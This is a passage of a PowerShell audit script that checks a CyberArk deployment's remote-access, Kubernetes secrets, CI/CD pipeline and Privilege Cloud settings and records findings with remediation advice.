-ExpectedValue "Biometric authentication and device binding required" ` -Recommendation "Enable biometric verification and device binding for all vendor remote access sessions" ` -Severity "High" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA3" ` -CheckName "Biometric/Device Binding" ` -Reason "Authentication policy not accessible" ` -Type "MissingConfig" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA3" ` -CheckName "Biometric/Device Binding" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Remote Access" -CISControl "RA3" ` -CheckName "Biometric/Device Binding" ` -Reason "Error checking biometric binding: $($_.Exception.Message)" ` -Type "Error" } } function Test-RemoteAccessAudit { # RA4: Audit log completeness Write-AuditLog "Checking remote access audit logging (RA4)..." -Level Info try { if ($script:AuthToken) { $auditConfig = Invoke-CyberArkAPI -Endpoint "RemoteAccess/AuditSettings" -ErrorAction SilentlyContinue if ($auditConfig) { $issues = @() if ($auditConfig.logAllSessions -ne $true) { $issues += "Not all sessions are being logged" } if ($auditConfig.logAuthenticationEvents -ne $true) { $issues += "Authentication events not logged" } if ($auditConfig.recordSessions -ne $true) { $issues += "Session recording not enabled" } if ($auditConfig.retentionDays -lt 90) { $issues += "Audit retention less than 90 days: $($auditConfig.retentionDays) days" } if ($issues.Count -eq 0) { Add-Finding -Category "Remote Access" ` -CISControl "RA4" ` -Finding "Remote access audit logging comprehensive" ` -Resource "Remote Access Audit" ` -CurrentValue "Full logging, recording, $($auditConfig.retentionDays) day retention" ` -ExpectedValue "Complete audit trail" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Remote Access" ` -CISControl "RA4" ` -Finding "Remote access audit logging gaps" ` -Resource "Remote Access Audit" ` -CurrentValue ($issues -join "; ") ` -ExpectedValue "All sessions logged, recorded, 90+ day retention" ` -Recommendation "Enable comprehensive audit logging with session recording and minimum 90-day retention" ` -Severity "Medium" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA4" ` -CheckName "Remote Access Audit" ` -Reason "Audit configuration not accessible" ` -Type "MissingConfig" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA4" ` -CheckName "Remote Access Audit" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Remote Access" -CISControl "RA4" ` -CheckName "Remote Access Audit" ` -Reason "Error checking audit config: $($_.Exception.Message)" ` -Type "Error" } } function Test-VendorAccessReview { # RA5: Periodic access recertification Write-AuditLog "Checking vendor access review (RA5)..." -Level Info try { if ($script:AuthToken) { $vendors = Invoke-CyberArkAPI -Endpoint "RemoteAccess/Vendors" -ErrorAction SilentlyContinue if ($vendors -and $vendors.vendors) { $staleVendors = @($vendors.vendors | Where-Object { $_.lastAccessReview -and ([DateTime]$_.lastAccessReview) -lt (Get-Date).AddDays(-90) }) $neverReviewed = @($vendors.vendors | Where-Object { -not $_.lastAccessReview }) if ($staleVendors.Count -eq 0 -and $neverReviewed.Count -eq 0) { Add-Finding -Category "Remote Access" ` -CISControl "RA5" ` -Finding "Vendor access reviews up to date" ` -Resource "Remote Access Vendors" ` -CurrentValue "All $($vendors.vendors.Count) vendors reviewed within 90 days" ` -ExpectedValue "Regular access reviews" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Remote Access" ` -CISControl "RA5" ` -Finding "Vendor access reviews overdue" ` -Resource "Remote Access Vendors" ` -CurrentValue "$($staleVendors.Count) stale reviews, $($neverReviewed.Count) never reviewed" ` -ExpectedValue "All vendors reviewed within 90 days" ` -Recommendation "Conduct access recertification for all vendor accounts. Remove access for vendors no longer requiring it." ` -Severity "Medium" } } else { Add-Finding -Category "Remote Access" ` -CISControl "RA5" ` -Finding "No vendor accounts configured" ` -Resource "Remote Access" ` -CurrentValue "No vendors found" ` -ExpectedValue "N/A" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA5" ` -CheckName "Vendor Access Review" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Remote Access" -CISControl "RA5" ` -CheckName "Vendor Access Review" ` -Reason "Error checking vendor reviews: $($_.Exception.Message)" ` -Type "Error" } } function Test-RemoteAccessMFA { # RA6: MFA enforcement for vendors Write-AuditLog "Checking remote access MFA enforcement (RA6)..." -Level Info try { if ($script:AuthToken) { $mfaPolicy = Invoke-CyberArkAPI -Endpoint "RemoteAccess/MFAPolicy" -ErrorAction SilentlyContinue if ($mfaPolicy) { $issues = @() if ($mfaPolicy.mfaRequired -ne $true -and $mfaPolicy.enforced -ne $true) { $issues += "MFA not required for vendor access" } if ($mfaPolicy.allowSMSFallback -eq $true) { $issues += "SMS fallback allowed (weak MFA)" } if ($mfaPolicy.allowEmailOTP -eq $true -and $mfaPolicy.strongMFARequired -ne $true) { $issues += "Email OTP allowed without stronger MFA requirement" } if ($mfaPolicy.rememberDevice -eq $true -and $mfaPolicy.rememberDeviceDays -gt 7) { $issues += "Device remember period too long: $($mfaPolicy.rememberDeviceDays) days" } if ($issues.Count -eq 0) { Add-Finding -Category "Remote Access" ` -CISControl "RA6" ` -Finding "Remote access MFA properly enforced" ` -Resource "Remote Access MFA" ` -CurrentValue "Strong MFA required for all vendor access" ` -ExpectedValue "MFA enforcement" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Remote Access" ` -CISControl "RA6" ` -Finding "Remote access MFA enforcement issues" ` -Resource "Remote Access MFA" ` -CurrentValue ($issues -join "; ") ` -ExpectedValue "Strong MFA required, no SMS fallback, short device remember period" ` -Recommendation "Enforce strong MFA (TOTP/Push/FIDO2), disable SMS fallback, limit device remember to 7 days or less" ` -Severity "High" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA6" ` -CheckName "Remote Access MFA" ` -Reason "MFA policy not accessible" ` -Type "MissingConfig" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA6" ` -CheckName "Remote Access MFA" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Remote Access" -CISControl "RA6" ` -CheckName "Remote Access MFA" ` -Reason "Error checking MFA policy: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Kubernetes / Container Secrets function Test-KubernetesSecretsSecurity { Write-AuditLog "Starting Kubernetes/Container secrets security checks..." -Level Info if (-not $IncludeK8sChecks) { Write-AuditLog "Kubernetes checks skipped (use -IncludeK8sChecks)" -Level Info return } Test-SecretsProviderDeployment Test-PodSecurityContext Test-ServiceAccountJWT Test-SecretsRotationInPods Test-K8sRBACForSecrets Test-SecretsMountPermissions Test-ConjurFollowerHealth Test-K8sAuditLogging } function Test-SecretsProviderDeployment { # K8S1: Sidecar vs init container mode Write-AuditLog "Checking Secrets Provider deployment mode (K8S1)..." -Level Info try { if ($ConjurApplianceUrl -or $ConjurUrl) { $conjurEndpoint = if ($ConjurApplianceUrl) { $ConjurApplianceUrl } else { $ConjurUrl } # Check for Secrets Provider configuration $response = Invoke-OPSECWebRequest -Uri "$conjurEndpoint/info" -Method GET -ErrorAction SilentlyContinue if ($response -and $response.StatusCode -eq 200) { Add-Finding -Category "Kubernetes" ` -CISControl "K8S1" ` -Finding "Conjur appliance accessible for K8s integration" ` -Resource "Conjur" ` -CurrentValue "Conjur endpoint responsive" ` -ExpectedValue "Accessible Conjur for Secrets Provider" ` -Severity "Info" ` -Status "Pass" # Recommend sidecar over init container Add-Finding -Category "Kubernetes" ` -CISControl "K8S1" ` -Finding "Secrets Provider deployment recommendation" ` -Resource "Kubernetes Deployment" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Sidecar mode for dynamic secret refresh" ` -Recommendation "Use sidecar mode for Secrets Provider to enable dynamic secret rotation. Init container mode only fetches secrets at pod startup." ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Kubernetes" ` -CISControl "K8S1" ` -Finding "Conjur appliance not accessible" ` -Resource $conjurEndpoint ` -CurrentValue "Endpoint not responding" ` -ExpectedValue "Accessible Conjur endpoint" ` -Recommendation "Verify Conjur appliance URL and network connectivity" ` -Severity "Medium" } } else { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S1" ` -CheckName "Secrets Provider Deployment" ` -Reason "Conjur URL not provided" ` -Type "MissingConfig" } } catch { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S1" ` -CheckName "Secrets Provider Deployment" ` -Reason "Error checking deployment: $($_.Exception.Message)" ` -Type "Error" } } function Test-PodSecurityContext { # K8S2: runAsNonRoot, readOnlyRootFilesystem Write-AuditLog "Checking pod security context requirements (K8S2)..." -Level Info try { # This check provides guidance - actual K8s cluster access would require kubectl Add-Finding -Category "Kubernetes" ` -CISControl "K8S2" ` -Finding "Pod security context recommendations" ` -Resource "Kubernetes Pods" ` -CurrentValue "Manual verification required" ` -ExpectedValue "runAsNonRoot: true, readOnlyRootFilesystem: true" ` -Recommendation "Ensure Secrets Provider pods run with: runAsNonRoot: true, readOnlyRootFilesystem: true, allowPrivilegeEscalation: false. Verify with: kubectl get pods -o yaml | grep -A10 securityContext" ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S2" ` -CheckName "Pod Security Context" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-ServiceAccountJWT { # K8S3: JWT authentication to Conjur Write-AuditLog "Checking service account JWT authentication (K8S3)..." -Level Info try { if ($ConjurUrl -or $ConjurApplianceUrl) { $conjurEndpoint = if ($ConjurApplianceUrl) { $ConjurApplianceUrl } else { $ConjurUrl } # Check authenticators endpoint - info endpoint confirms Conjur is accessible $null = Invoke-OPSECWebRequest -Uri "$conjurEndpoint/info" -Method GET -ErrorAction SilentlyContinue Add-Finding -Category "Kubernetes" ` -CISControl "K8S3" ` -Finding "Kubernetes authenticator configuration" ` -Resource "Conjur K8s Authenticator" ` -CurrentValue "Manual verification required" ` -ExpectedValue "authn-jwt/k8s or authn-k8s authenticator enabled" ` -Recommendation "Verify Kubernetes authenticator is properly configured. Use authn-jwt for improved security over authn-k8s. Check audience claim restrictions and issuer validation." ` -Severity "Info" ` -Status "Pass" } else { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S3" ` -CheckName "Service Account JWT" ` -Reason "Conjur URL not provided" ` -Type "MissingConfig" } } catch { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S3" ` -CheckName "Service Account JWT" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsRotationInPods { # K8S4: How running pods handle rotation Write-AuditLog "Checking secrets rotation handling in pods (K8S4)..." -Level Info try { Add-Finding -Category "Kubernetes" ` -CISControl "K8S4" ` -Finding "Secrets rotation in running pods" ` -Resource "Kubernetes Pods" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Dynamic refresh via sidecar or file watch" ` -Recommendation "Verify applications can handle secret rotation: 1) Use sidecar mode with refresh interval, 2) Implement file watchers in apps, 3) Use Kubernetes CSI driver with rotation. Avoid init-container only deployments for secrets requiring rotation." ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S4" ` -CheckName "Secrets Rotation in Pods" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-K8sRBACForSecrets { # K8S5: Who can read secrets Write-AuditLog "Checking Kubernetes RBAC for secrets (K8S5)..." -Level Info try { Add-Finding -Category "Kubernetes" ` -CISControl "K8S5" ` -Finding "Kubernetes RBAC for secrets access" ` -Resource "Kubernetes RBAC" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Least privilege access to secrets" ` -Recommendation "Audit RBAC with: kubectl auth can-i --list | grep secrets. Ensure only necessary service accounts have 'get' on secrets. Avoid cluster-wide secret read permissions. Use namespace-scoped bindings." ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S5" ` -CheckName "K8s RBAC for Secrets" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsMountPermissions { # K8S6: File permissions on mounted secrets Write-AuditLog "Checking secrets mount permissions (K8S6)..." -Level Info try { Add-Finding -Category "Kubernetes" ` -CISControl "K8S6" ` -Finding "Secrets mount file permissions" ` -Resource "Kubernetes Secrets" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Mode 0400 or 0440" ` -Recommendation "Set restrictive file permissions on mounted secrets: defaultMode: 0400 in volume mount. Verify with: kubectl exec <pod> -- ls -la /path/to/secrets. Avoid world-readable permissions (0644)." ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S6" ` -CheckName "Secrets Mount Permissions" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-ConjurFollowerHealth { # K8S7: Follower pod health in cluster Write-AuditLog "Checking Conjur follower health (K8S7)..." -Level Info try { if ($ConjurUrl -or $ConjurApplianceUrl) { $conjurEndpoint = if ($ConjurApplianceUrl) { $ConjurApplianceUrl } else { $ConjurUrl } $healthResponse = Invoke-OPSECWebRequest -Uri "$conjurEndpoint/health" -Method GET -ErrorAction SilentlyContinue if ($healthResponse -and $healthResponse.StatusCode -eq 200) { $healthData = $healthResponse.Content | ConvertFrom-Json -ErrorAction SilentlyContinue if ($healthData.ok -eq $true -or $healthData.status -eq "ok") { Add-Finding -Category "Kubernetes" ` -CISControl "K8S7" ` -Finding "Conjur follower health check passed" ` -Resource "Conjur Follower" ` -CurrentValue "Health status: OK" ` -ExpectedValue "Healthy follower" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Kubernetes" ` -CISControl "K8S7" ` -Finding "Conjur follower health issues detected" ` -Resource "Conjur Follower" ` -CurrentValue "Health status: $($healthData.status)" ` -ExpectedValue "Healthy follower" ` -Recommendation "Investigate Conjur follower health. Check replication status, certificate validity, and resource constraints." ` -Severity "High" } } else { Add-Finding -Category "Kubernetes" ` -CISControl "K8S7" ` -Finding "Conjur health endpoint not accessible" ` -Resource $conjurEndpoint ` -CurrentValue "Health endpoint returned: $($healthResponse.StatusCode)" ` -ExpectedValue "Accessible health endpoint" ` -Recommendation "Verify Conjur follower deployment and network accessibility" ` -Severity "Medium" } } else { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S7" ` -CheckName "Conjur Follower Health" ` -Reason "Conjur URL not provided" ` -Type "MissingConfig" } } catch { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S7" ` -CheckName "Conjur Follower Health" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-K8sAuditLogging { # K8S8: Kubernetes audit for secrets access Write-AuditLog "Checking Kubernetes audit logging for secrets (K8S8)..." -Level Info try { Add-Finding -Category "Kubernetes" ` -CISControl "K8S8" ` -Finding "Kubernetes audit logging for secrets" ` -Resource "Kubernetes Audit" ` -CurrentValue "Manual verification required" ` -ExpectedValue "Secrets access logged at Request or RequestResponse level" ` -Recommendation "Configure Kubernetes audit policy to log secrets access. Include: resources: ['secrets'], verbs: ['get', 'list', 'watch'], level: Request. Forward audit logs to SIEM for monitoring." ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "Kubernetes" -CISControl "K8S8" ` -CheckName "K8s Audit Logging" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region DevSecOps Pipeline Security function Test-DevSecOpsSecurity { Write-AuditLog "Starting DevSecOps pipeline security checks..." -Level Info if (-not $IncludeDevSecOpsChecks) { Write-AuditLog "DevSecOps checks skipped (use -IncludeDevSecOpsChecks)" -Level Info return } Test-CICDSecretsRetrieval Test-PipelineSecretsSprawl Test-ShortLivedTokenUsage Test-PipelineAuditLogging Test-SecretsInArtifacts Test-PipelineIdentityBinding } function Test-CICDSecretsRetrieval { # DSO1: How pipelines fetch secrets Write-AuditLog "Checking CI/CD secrets retrieval patterns (DSO1)..." -Level Info try { if ($script:AuthToken) { # Check for AppIDs that appear to be CI/CD related $appIds = Invoke-CyberArkAPI -Endpoint "Applications" -ErrorAction SilentlyContinue if ($appIds -and $appIds.application) { $cicdApps = @($appIds.application | Where-Object { $_.AppID -match "jenkins|gitlab|github|azure.?devops|bamboo|circleci|travis|drone|argo|tekton|pipeline|cicd|build|deploy" }) if ($cicdApps.Count -gt 0) { $insecureApps = @() foreach ($app in $cicdApps) { $appDetail = Invoke-CyberArkAPI -Endpoint "Applications/$($app.AppID)" -ErrorAction SilentlyContinue if ($appDetail -and $appDetail.authentication) { # Check for weak authentication if ($appDetail.authentication | Where-Object { $_.AuthType -eq "machineAddress" -and -not $_.AuthValue }) { $insecureApps += $app.AppID } } } if ($insecureApps.Count -eq 0) { Add-Finding -Category "DevSecOps" ` -CISControl "DSO1" ` -Finding "CI/CD AppIDs configured with authentication" ` -Resource "CI/CD Applications" ` -CurrentValue "$($cicdApps.Count) CI/CD-related AppIDs found" ` -ExpectedValue "Secure secret retrieval" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "DevSecOps" ` -CISControl "DSO1" ` -Finding "CI/CD AppIDs with weak authentication" ` -Resource "CI/CD Applications" ` -CurrentValue "Weak auth on: $($insecureApps -join ', ')" ` -ExpectedValue "Strong authentication (certificates, OIDC)" ` -Recommendation "Use certificate authentication or OIDC for CI/CD integrations. Avoid IP-only restrictions." ` -Severity "High" } } else { Add-Finding -Category "DevSecOps" ` -CISControl "DSO1" ` -Finding "No CI/CD-specific AppIDs detected" ` -Resource "Applications" ` -CurrentValue "No CI/CD AppIDs found by naming pattern" ` -ExpectedValue "Dedicated CI/CD AppIDs" ` -Recommendation "Create dedicated AppIDs for CI/CD pipelines with appropriate naming conventions" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO1" ` -CheckName "CI/CD Secrets Retrieval" ` -Reason "Unable to retrieve applications list" ` -Type "MissingData" } } else { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO1" ` -CheckName "CI/CD Secrets Retrieval" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO1" ` -CheckName "CI/CD Secrets Retrieval" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PipelineSecretsSprawl { # DSO2: Hardcoded secrets in configs Write-AuditLog "Checking for pipeline secrets sprawl indicators (DSO2)..." -Level Info try { Add-Finding -Category "DevSecOps" ` -CISControl "DSO2" ` -Finding "Pipeline secrets sprawl assessment" ` -Resource "CI/CD Pipelines" ` -CurrentValue "Manual verification required" ` -ExpectedValue "No hardcoded secrets in pipeline configs" ` -Recommendation "Scan pipeline configurations for hardcoded secrets. Use tools like: gitleaks, truffleHog, detect-secrets. Check: 1) Pipeline YAML files, 2) Environment variables, 3) Build scripts, 4) Dockerfiles. Integrate CyberArk Secrets Manager for runtime secret injection." ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO2" ` -CheckName "Pipeline Secrets Sprawl" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-ShortLivedTokenUsage { # DSO3: Token TTL vs static credentials Write-AuditLog "Checking short-lived token usage (DSO3)..." -Level Info try { if ($script:AuthToken) { $ccpConfig = Invoke-CyberArkAPI -Endpoint "CentralCredentialProvider/Configuration" -ErrorAction SilentlyContinue if ($ccpConfig) { $tokenTTL = $ccpConfig.tokenTTLMinutes $recommendedMaxTTL = 60 # 1 hour max if ($tokenTTL -and $tokenTTL -le $recommendedMaxTTL) { Add-Finding -Category "DevSecOps" ` -CISControl "DSO3" ` -Finding "Short-lived tokens properly configured" ` -Resource "CCP Configuration" ` -CurrentValue "Token TTL: $tokenTTL minutes" ` -ExpectedValue "<= $recommendedMaxTTL minutes" ` -Severity "Info" ` -Status "Pass" } elseif ($tokenTTL -and $tokenTTL -gt $recommendedMaxTTL) { Add-Finding -Category "DevSecOps" ` -CISControl "DSO3" ` -Finding "Token TTL too long for CI/CD use" ` -Resource "CCP Configuration" ` -CurrentValue "Token TTL: $tokenTTL minutes" ` -ExpectedValue "<= $recommendedMaxTTL minutes" ` -Recommendation "Reduce token TTL to 60 minutes or less for CI/CD pipelines. Short-lived tokens limit exposure window." ` -Severity "Medium" } else { Add-Finding -Category "DevSecOps" ` -CISControl "DSO3" ` -Finding "Short-lived token configuration" ` -Resource "CCP" ` -CurrentValue "TTL configuration not available" ` -ExpectedValue "Token TTL configured" ` -Recommendation "Configure token TTL for CI/CD secret retrieval" ` -Severity "Info" ` -Status "Pass" } } else { Add-Finding -Category "DevSecOps" ` -CISControl "DSO3" ` -Finding "CCP configuration not accessible" ` -Resource "Central Credential Provider" ` -CurrentValue "Configuration not available" ` -ExpectedValue "CCP configured for CI/CD" ` -Recommendation "Deploy Central Credential Provider for CI/CD secret retrieval with short-lived tokens" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO3" ` -CheckName "Short-Lived Token Usage" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO3" ` -CheckName "Short-Lived Token Usage" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PipelineAuditLogging { # DSO4: Pipeline access logged to CyberArk Write-AuditLog "Checking pipeline audit logging (DSO4)..." -Level Info try { if ($script:AuthToken) { # Check if CCP access is being logged $auditLogs = Invoke-CyberArkAPI -Endpoint "Activities?limit=50" -ErrorAction SilentlyContinue if ($auditLogs -and $auditLogs.Activities) { $ccpActivities = @($auditLogs.Activities | Where-Object { $_.Action -match "GetPassword|Retrieve" -and $_.Reason -match "CCP|Provider|API" }) if ($ccpActivities.Count -gt 0) { Add-Finding -Category "DevSecOps" ` -CISControl "DSO4" ` -Finding "Pipeline secret access being logged" ` -Resource "Audit Logs" ` -CurrentValue "$($ccpActivities.Count) CCP/API activities in recent logs" ` -ExpectedValue "All pipeline access logged" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "DevSecOps" ` -CISControl "DSO4" ` -Finding "No recent pipeline secret access logged" ` -Resource "Audit Logs" ` -CurrentValue "No CCP activities found in recent logs" ` -ExpectedValue "Pipeline access events" ` -Recommendation "Verify CCP audit logging is enabled and pipelines are using CyberArk for secrets" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO4" ` -CheckName "Pipeline Audit Logging" ` -Reason "Unable to retrieve audit logs" ` -Type "MissingData" } } else { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO4" ` -CheckName "Pipeline Audit Logging" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO4" ` -CheckName "Pipeline Audit Logging" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsInArtifacts { # DSO5: Secrets leaked in build artifacts Write-AuditLog "Checking for secrets in artifacts guidance (DSO5)..." -Level Info try { Add-Finding -Category "DevSecOps" ` -CISControl "DSO5" ` -Finding "Secrets in build artifacts assessment" ` -Resource "Build Artifacts" ` -CurrentValue "Manual verification required" ` -ExpectedValue "No secrets in artifacts or logs" ` -Recommendation "Prevent secrets in build artifacts: 1) Never log secrets - mask in CI/CD, 2) Use .dockerignore for credential files, 3) Multi-stage Docker builds, 4) Scan images with tools like Trivy, 5) Implement artifact signing, 6) Use runtime secret injection not build-time." ` -Severity "Info" ` -Status "Pass" } catch { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO5" ` -CheckName "Secrets in Artifacts" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-PipelineIdentityBinding { # DSO6: Pipeline identity to CyberArk mapping Write-AuditLog "Checking pipeline identity binding (DSO6)..." -Level Info try { if ($script:AuthToken) { $appIds = Invoke-CyberArkAPI -Endpoint "Applications" -ErrorAction SilentlyContinue if ($appIds -and $appIds.application) { $wellConfiguredApps = @() $weakApps = @() foreach ($app in $appIds.application) { $appDetail = Invoke-CyberArkAPI -Endpoint "Applications/$($app.AppID)/Authentications" -ErrorAction SilentlyContinue if ($appDetail) { $hasStrongAuth = $appDetail | Where-Object { $_.AuthType -in @("certificateSerialNumber", "certificateAttr", "awsIAMRole", "azureManagedIdentity", "oidcToken") } if ($hasStrongAuth) { $wellConfiguredApps += $app.AppID } else { $weakApps += $app.AppID } } } if ($weakApps.Count -eq 0 -and $wellConfiguredApps.Count -gt 0) { Add-Finding -Category "DevSecOps" ` -CISControl "DSO6" ` -Finding "Pipeline identity binding properly configured" ` -Resource "Application Authentications" ` -CurrentValue "$($wellConfiguredApps.Count) apps with strong identity binding" ` -ExpectedValue "Identity-based authentication" ` -Severity "Info" ` -Status "Pass" } elseif ($weakApps.Count -gt 0) { Add-Finding -Category "DevSecOps" ` -CISControl "DSO6" ` -Finding "Weak pipeline identity binding detected" ` -Resource "Application Authentications" ` -CurrentValue "$($weakApps.Count) apps without strong identity binding" ` -ExpectedValue "Certificate, IAM role, or OIDC authentication" ` -Recommendation "Use identity-based authentication: AWS IAM roles, Azure Managed Identity, GCP Workload Identity, or certificates. Avoid IP-only or path-based authentication." ` -Severity "Medium" } else { Add-Finding -Category "DevSecOps" ` -CISControl "DSO6" ` -Finding "No applications configured" ` -Resource "Applications" ` -CurrentValue "No AppIDs found" ` -ExpectedValue "AppIDs for CI/CD" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO6" ` -CheckName "Pipeline Identity Binding" ` -Reason "Unable to retrieve applications" ` -Type "MissingData" } } else { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO6" ` -CheckName "Pipeline Identity Binding" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "DevSecOps" -CISControl "DSO6" ` -CheckName "Pipeline Identity Binding" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Privilege Cloud / SaaS-Specific function Test-PrivilegeCloudSecurity { Write-AuditLog "Starting Privilege Cloud security checks..." -Level Info if (-not $IsPrivilegeCloud) { Write-AuditLog "Privilege Cloud checks skipped (use -IsPrivilegeCloud)" -Level Info return } Test-ConnectorHealth Test-ISPIntegration Test-PrivilegeCloudAPI Test-TenantIsolation Test-CloudConnectorRedundancy } function Test-ConnectorHealth { # PC1: Connector status and version Write-AuditLog "Checking Privilege Cloud connector health (PC1)..." -Level Info try { if ($script:AuthToken) { $connectors = Invoke-CyberArkAPI -Endpoint "PrivilegeCloud/Connectors" -ErrorAction SilentlyContinue if ($connectors -and $connectors.connectors) { $unhealthyConnectors = @($connectors.connectors | Where-Object { $_.status -ne "Connected" -and $_.status -ne "Healthy" }) $outdatedConnectors = @($connectors.connectors | Where-Object { $_.updateAvailable -eq $true }) if ($unhealthyConnectors.Count -eq 0 -and $outdatedConnectors.Count -eq 0) { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC1" ` -Finding "All Privilege Cloud connectors healthy and current" ` -Resource "Connectors" ` -CurrentValue "$($connectors.connectors.Count) connectors, all healthy" ` -ExpectedValue "Healthy, up-to-date connectors" ` -Severity "Info" ` -Status "Pass" } else { $issues = @() if ($unhealthyConnectors.Count -gt 0) { $issues += "$($unhealthyConnectors.Count) unhealthy connectors" } if ($outdatedConnectors.Count -gt 0) { $issues += "$($outdatedConnectors.Count) connectors need updates" } Add-Finding -Category "Privilege Cloud" ` -CISControl "PC1" ` -Finding "Privilege Cloud connector issues detected" ` -Resource "Connectors" ` -CurrentValue ($issues -join "; ") ` -ExpectedValue "All connectors healthy and current" ` -Recommendation "Investigate unhealthy connectors and apply pending updates. Check network connectivity and service status." ` -Severity "High" } } else { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC1" ` -Finding "Unable to retrieve connector status" ` -Resource "Privilege Cloud" ` -CurrentValue "Connector API not accessible" ` -ExpectedValue "Connector status available" ` -Recommendation "Verify Privilege Cloud API access and permissions" ` -Severity "Medium" } } else { Add-SkippedCheck -Category "Privilege Cloud" -CISControl "PC1" ` -CheckName "Connector Health" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Privilege Cloud" -CISControl "PC1" ` -CheckName "Connector Health" ` -Reason "Error: $($_.Exception.Message)" ` -Type "Error" } } function Test-ISPIntegration { # PC2: Identity Security Platform status Write-AuditLog "Checking Identity Security Platform integration (PC2)..." -Level Info try { if ($script:AuthToken) { $ispConfig = Invoke-CyberArkAPI -Endpoint "IdentitySecurityPlatform/Configuration" -ErrorAction SilentlyContinue if ($ispConfig) { if ($ispConfig.enabled -eq $true -and $ispConfig.status -eq "Connected") { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC2" ` -Finding "Identity Security Platform integration active" ` -Resource "ISP Integration" ` -CurrentValue "ISP connected and enabled" ` -ExpectedValue "Active ISP integration" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC2" ` -Finding "Identity Security Platform integration issue" ` -Resource "ISP Integration" ` -CurrentValue "Status: $($ispConfig.status), Enabled: $($ispConfig.enabled)" ` -ExpectedValue "Connected and enabled" ` -Recommendation "Enable ISP integration for unified identity and access management" ` -Severity "Medium" } } else { Add-Finding -Category "Privilege Cloud" ` -CISControl "PC2" ` -Finding "ISP configuration not accessible" ` -Resource "Privilege Cloud" ` -CurrentValue "ISP API not available" ` -ExpectedValue "ISP integration configured" ` -Recommendation "Configure Identity Security Platform for unified identity management" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "Privilege Cloud" -CISControl "PC2" ` -CheckName "ISP Integration" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Privilege Cloud" 